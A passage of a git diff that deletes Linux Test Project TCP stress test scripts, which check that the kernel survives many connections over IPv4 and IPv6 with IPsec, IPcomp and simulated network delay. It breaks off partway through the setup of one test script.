## -################################################################################ -# -# File: -# tcp6-multi-diffport05 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different ports with the following condition: -# - The version of IP is IPv6 -# - Network is not delayed -# - IPsec(ESP), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffport testcase -# - -# The test case ID -TCID=tcp6-multi-diffport05 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-multi-diffport01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport06 b/ltp/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport06 deleted file mode 100644 index 9aa9d217..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport06 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-multi-diffport06 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different ports with the following condition: -# - The version of IP is IPv6 -# - Network is not delayed -# - IPcomp, transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffport testcase -# - -# The test case ID -TCID=tcp6-multi-diffport06 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-multi-diffport01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport07 b/ltp/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport07 deleted file mode 100644 index 4cf7abd9..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport07 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-multi-diffport07 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different ports with the following condition: -# - The version of IP is IPv6 -# - Network is not delayed -# - IPcomp, tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffport testcase -# - -# The test case ID -TCID=tcp6-multi-diffport07 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-multi-diffport01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport08 b/ltp/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport08 deleted file mode 100644 index 9422c398..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport08 +++ /dev/null @@ -1,64 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-multi-diffport08 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different ports with the following condition: -# - The version of IP is IPv6 -# - Network is delayed -# - IPsec is not used -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffport testcase -# - -# The test case ID -TCID=tcp6-multi-diffport08 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=false - -. tcp4-multi-diffport01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport09 b/ltp/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport09 deleted file mode 100644 index b5e0d351..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport09 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-multi-diffport09 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different ports with the following condition: -# - The version of IP is IPv6 -# - Network is delayed -# - IPsec(AH), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffport testcase -# - -# The test case ID -TCID=tcp6-multi-diffport09 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-multi-diffport01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport10 b/ltp/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport10 deleted file mode 100644 index a8a874a1..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport10 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-multi-diffport10 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different ports with the following condition: -# - The version of IP is IPv6 -# - Network is delayed -# - IPsec(AH), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffport testcase -# - -# The test case ID -TCID=tcp6-multi-diffport10 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-multi-diffport01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport11 b/ltp/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport11 deleted file mode 100644 index a43aaf88..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport11 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-multi-diffport11 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different ports with the following condition: -# - The version of IP is IPv6 -# - Network is delayed -# - IPsec(ESP), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffport testcase -# - -# The test case ID -TCID=tcp6-multi-diffport11 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-multi-diffport01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport12 b/ltp/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport12 deleted file mode 100644 index 86316922..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport12 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-multi-diffport12 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different ports with the following condition: -# - The version of IP is IPv6 -# - Network is delayed -# - IPsec(ESP), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffport testcase -# - -# The test case ID -TCID=tcp6-multi-diffport12 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-multi-diffport01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport13 b/ltp/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport13 deleted file mode 100644 index fb3b750f..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport13 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-multi-diffport13 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different ports with the following condition: -# - The version of IP is IPv6 -# - Network is delayed -# - IPcomp, transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffport testcase -# - -# The test case ID -TCID=tcp6-multi-diffport13 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-multi-diffport01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport14 b/ltp/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport14 deleted file mode 100644 index 6a196de1..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffport/tcp6-multi-diffport14 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-multi-diffport14 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different ports with the following condition: -# - The version of IP is IPv6 -# - Network is delayed -# - IPcomp, tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffport testcase -# - -# The test case ID -TCID=tcp6-multi-diffport14 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-multi-diffport01 diff --git a/ltp/testcases/network/stress/tcp/multi-sameport/00_Descriptions.txt b/ltp/testcases/network/stress/tcp/multi-sameport/00_Descriptions.txt deleted file mode 100644 index 2a1a081b..00000000 --- a/ltp/testcases/network/stress/tcp/multi-sameport/00_Descriptions.txt +++ /dev/null @@ -1,125 +0,0 @@ -Verify that the kernel is not crashed with multiple connection to the -same ports - -tcp4-multi-diffport01 - IPv4 - -tcp4-multi-diffport02 - IPv4 - IPsec [ AH / transport ] - -tcp4-multi-diffport03 - IPv4 - IPsec [ AH / tunnel ] - -tcp4-multi-diffport04 - IPv4 - IPsec [ ESP / transport ] - -tcp4-multi-diffport05 - IPv4 - IPsec [ ESP / tunnel ] - -tcp4-multi-diffport06 - IPv4 - IPcomp [ transport ] - -tcp4-multi-diffport07 - IPv4 - IPcomp [ tunnel ] - -tcp4-multi-diffport08 - IPv4 - Network is delayed - -tcp4-multi-diffport09 - IPv4 - IPsec [ AH / transport ] - Network is delayed - -tcp4-multi-diffport10 - IPv4 - IPsec [ AH / tunnel ] - Network is delayed - -tcp4-multi-diffport11 - IPv4 - IPsec [ ESP / transport ] - Network is delayed - -tcp4-multi-diffport12 - IPv4 - IPsec [ ESP / tunnel ] - Network is delayed - -tcp4-multi-diffport13 - IPv4 - IPcomp [ transport ] - Network is delayed - -tcp4-multi-diffport14 - IPv4 - IPcomp [ tunnel ] - Network is delayed - - -tcp6-multi-diffport01 - IPv6 - -tcp6-multi-diffport02 - IPv6 - IPsec [ AH / transport ] - -tcp6-multi-diffport03 - IPv6 - IPsec [ AH / tunnel ] - -tcp6-multi-diffport04 - IPv6 - IPsec [ ESP / transport ] - -tcp6-multi-diffport05 - IPv6 - IPsec [ ESP / tunnel ] - -tcp6-multi-diffport06 - IPv6 - IPcomp [ transport ] - -tcp6-multi-diffport07 - IPv6 - IPcomp [ tunnel ] - -tcp6-multi-diffport08 - IPv6 - Network is delayed - -tcp6-multi-diffport09 - IPv6 - IPsec [ AH / transport ] - Network is delayed - -tcp6-multi-diffport10 - IPv6 - IPsec [ AH / tunnel ] - Network is delayed - -tcp6-multi-diffport11 - IPv6 - IPsec [ ESP / transport ] - Network is delayed - -tcp6-multi-diffport12 - IPv6 - IPsec [ ESP / tunnel ] - Network is delayed - -tcp6-multi-diffport13 - IPv6 - IPcomp [ transport ] - Network is delayed - -tcp6-multi-diffport14 - IPv6 - IPcomp [ tunnel ] - Network is delayed diff --git a/ltp/testcases/network/stress/tcp/multi-sameport/Makefile b/ltp/testcases/network/stress/tcp/multi-sameport/Makefile deleted file mode 100644 index be2472f9..00000000 --- a/ltp/testcases/network/stress/tcp/multi-sameport/Makefile +++ /dev/null @@ -1,29 +0,0 @@ -# -# network/stress/tcp/multi-sameport testcases Makefile. -# -# Copyright (C) 2009, Cisco Systems Inc. -# -# This program is free software; you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation; either version 2 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License along -# with this program; if not, write to the Free Software Foundation, Inc., -# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. -# -# Ngie Cooper, October 2009 -# - -top_srcdir ?= ../../../../.. - -include $(top_srcdir)/include/mk/env_pre.mk - -INSTALL_TARGETS := tcp* - -include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/ltp/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport01 b/ltp/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport01 deleted file mode 100644 index 7491f281..00000000 --- a/ltp/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport01 +++ /dev/null @@ -1,381 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-multi-sameport01 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# same port with the following condition: -# - The version of IP is IPv4 -# - Network is not delayed -# - IPsec is not used -# -# *) This script may be read by the other test case -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# The test case ID, the test case count and the total number of test case -TCID=${TCID:-tcp4-multi-sameport01} -TST_TOTAL=1 -TST_COUNT=1 -export TCID -export TST_COUNT -export TST_TOTAL - -# Test description -tst_resm TINFO "Verify that the kernel is not crashed with multiple connection to the same port." - -# Make sure the value of LTPROOT -LTPROOT=${LTPROOT:-`(cd ../../../../.. ; pwd)`} -export LTPROOT - -# Check the environmanet variable -. check_envval || exit $TST_TOTAL - -# Dulation of the test [sec] -NS_DURATION=${NS_DURATION:-3600} # 1 hour - -# Quantity of the connection for multi connection test -CONNECTION_TOTAL=${CONNECTION_TOTAL:-4000} - -#The number of the test link where tests run -LINK_NUM=${LINK_NUM:-0} - -# The version of IP -IP_VER=${IP_VER:-4} - -# true, if ipsec is used -DO_IPSEC=${DO_IPSEC:-false} - -# The value of SPI -SPI=${SPI:-1000} - -# IPsec Protocol ( ah / esp / ipcomp ) -IPSEC_PROTO=${IPSEC_PROTO:-ah} - -# IPsec Mode ( transport / tunnel ) -IPSEC_MODE=${IPSEC_MODE:-transport} - -# true, if network is delayed -DO_NET_DELAY=${DO_NET_DELAY:-false} - -# Amount of network delay [ms] -NET_DELAY=${NET_DELAY:-600} - -# The deflection of network delay [ms] -NET_DELAY_DEFL=${NET_DELAY_DEFL:-200} - - -#----------------------------------------------------------------------- -# -# Function: do_cleanup -# -# Description: -# Recover the system configuration -# -#----------------------------------------------------------------------- -do_cleanup() -{ - # Unset SAD/SPD - output_ipsec_conf flush | setkey -c >/dev/null 2>&1 - $LTP_RSH $RHOST ${LTPROOT}/'testcases/bin/output_ipsec_conf flush | PATH=/sbin:/usr/sbin:$PATH setkey -c' >/dev/null 2>&1 - - # Unset network delay - if [ x$rhost_ifname = x ]; then - rhost_ifname=`get_ifname rhost $LINK_NUM` - fi - $LTP_RSH $RHOST "PATH=/sbin:/usr/sbin:$PATH tc qdisc del dev $rhost_ifname root netem" >/dev/null 2>&1 - - # Clean up each interface - initialize_if lhost ${LINK_NUM} - initialize_if rhost ${LINK_NUM} - - # Kill the tcp traffic server - killall_tcp_traffic -} - - -#----------------------------------------------------------------------- -# -# Setup -# - -# Unset the maximum number of processes -ulimit -u unlimited - -# Output the informaion -tst_resm TINFO "- Test duration is $NS_DURATION [sec]" -tst_resm TINFO "- Target number of the connection is $CONNECTION_TOTAL" -tst_resm TINFO "- Version of IP is IPv${IP_VER}" - -if $DO_NET_DELAY ; then - message=`check_netem` - if [ $? -ne 0 ]; then - tst_resm TBROK "$message" - exit 1 - fi - tst_resm TINFO "- Network delay is ${NET_DELAY}ms +/- ${NET_DELAY_DEFL}ms" -fi - -if $DO_IPSEC ; then - message=`check_setkey` - if [ $? -ne 0 ]; then - tst_resm TBROK "$message" - exit 1 - fi - - case $IPSEC_PROTO in - ah) - tst_resm TINFO "- IPsec [ AH / $IPSEC_MODE ]" - ;; - esp) - tst_resm TINFO "- IPsec [ ESP / $IPSEC_MODE ]" - ;; - ipcomp) - tst_resm TINFO "- IPcomp [ $IPSEC_MODE ]" - ;; - esac -fi - -# name of interface of the local/remote host -lhost_ifname=`get_ifname lhost $LINK_NUM` -if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to get the interface name at the local host" - exit $TST_TOTAL -fi - -rhost_ifname=`get_ifname rhost $LINK_NUM` -if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to get the interface name at the remote host" - exit $TST_TOTAL -fi - -# Initialize the system configuration -do_cleanup - -# Call do_cleanup function before exit -trap do_cleanup 0 - -case $IP_VER in - 4) - # Network portion of the IPv4 address - network_part=${IPV4_NETWORK:-"10.0.0"} - - # Netmask of the IPv4 network - network_mask=24 - - # Host portion of the IPv4 address - lhost_host_part=${LHOST_IPV4_HOST:-"2"} # local host - rhost_host_part=${RHOST_IPV4_HOST:-"1"} # remote host - - # Set IPv4 addresses to the interfaces - set_ipv4addr lhost $LINK_NUM $network_part $lhost_host_part - if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to add any IP address at the local host" - exit 1 - fi - set_ipv4addr rhost $LINK_NUM $network_part $rhost_host_part - if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to add any IP address at the remote host" - exit 1 - fi - - # IPv4 address of the local/remote host - lhost_addr="${network_part}.${lhost_host_part}" - rhost_addr="${network_part}.${rhost_host_part}" - ;; - - 6) - # Network portion of the IPv6 address - network_part="fd00:1:1:1" - - # Netmask of the IPv6 network - network_mask=64 - - # Host portion of the IPv6 address - lhost_host_part=":2" # local host - rhost_host_part=":1" # remote host - - # Set IPv6 addresses to the interfaces - add_ipv6addr lhost $LINK_NUM $network_part $lhost_host_part - if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to add any IP address at the local host" - exit 1 - fi - - add_ipv6addr rhost $LINK_NUM $network_part $rhost_host_part - if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to add any IP address at the remote host" - exit 1 - fi - - # IPv6 address of the local/remote host - lhost_addr="${network_part}:${lhost_host_part}" - rhost_addr="${network_part}:${rhost_host_part}" - ;; - - *) - tst_resm TBROK "Unknown IP version" - ;; -esac - -# Make the network delay -if $DO_NET_DELAY ; then - ret=`$LTP_RSH $RHOST 'PATH=/sbin:/usr/sbin:$PATH tc' qdisc add dev $rhost_ifname root netem delay ${NET_DELAY}ms ${NET_DELAY_DEFL}ms distribution normal' ; echo $?'` - if [ $ret -ne 0 ]; then - tst_resm TBROK "Failed to make the delayed network" - exit 1 - fi -fi - -# Configure SAD/SPD -if $DO_IPSEC ; then - ipsec_log=`mktemp -p $TMPDIR` - - output_ipsec_conf src \ - $IPSEC_PROTO $IPSEC_MODE $SPI $lhost_addr $rhost_addr \ - | setkey -c 2>&1 | tee $ipsec_log - if [ $? -ne 0 -o -s $ipsec_log ]; then - tst_resm TBROK "Failed to configure SAD/SPD on the local host." - rm -f $ipsec_log - exit 1 - fi - - $LTP_RSH $RHOST ${LTPROOT}/testcases/bin/output_ipsec_conf dst $IPSEC_PROTO $IPSEC_MODE $SPI $lhost_addr $rhost_addr' | PATH=/sbin:/usr/sbin:$PATH setkey -c' 2>&1 | tee $ipsec_log - if [ $? -ne 0 -o -s $ipsec_log ]; then - tst_resm TBROK "Failed to configure SAD/SPD on the remote host." - rm -f $ipsec_log - exit 1 - fi - rm -f $ipsec_log -fi - -# Make sure the connectvity -case $IP_VER in - 4) - ret=`$LTP_RSH $RHOST ${LTPROOT}/testcases/bin/check_icmpv4_connectivity $rhost_ifname $lhost_addr' ; echo $?'` - if [ $ret -ne 0 ]; then - tst_resm TBROK "There is no IPv4 connectivity." - exit 1 - fi - ;; - - 6) - ret=`$LTP_RSH $RHOST ${LTPROOT}/testcases/bin/check_icmpv6_connectivity $rhost_ifname $lhost_addr' ; echo $?'` - if [ $ret -ne 0 ]; then - tst_resm TBROK "There is no IPv6 connectivity." - exit 1 - fi - ;; -esac - - -#----------------------------------------------------------------------- -# -# Main -# -# - -# Find the available consecutive ports -server_port=`find_portbundle tcp 1025 1` -if [ $? -ne 0 ]; then - tst_resm TBROK "No port is available." - exit 1 -fi - -# Run a server -info_file=`mktemp -p $TMPDIR` 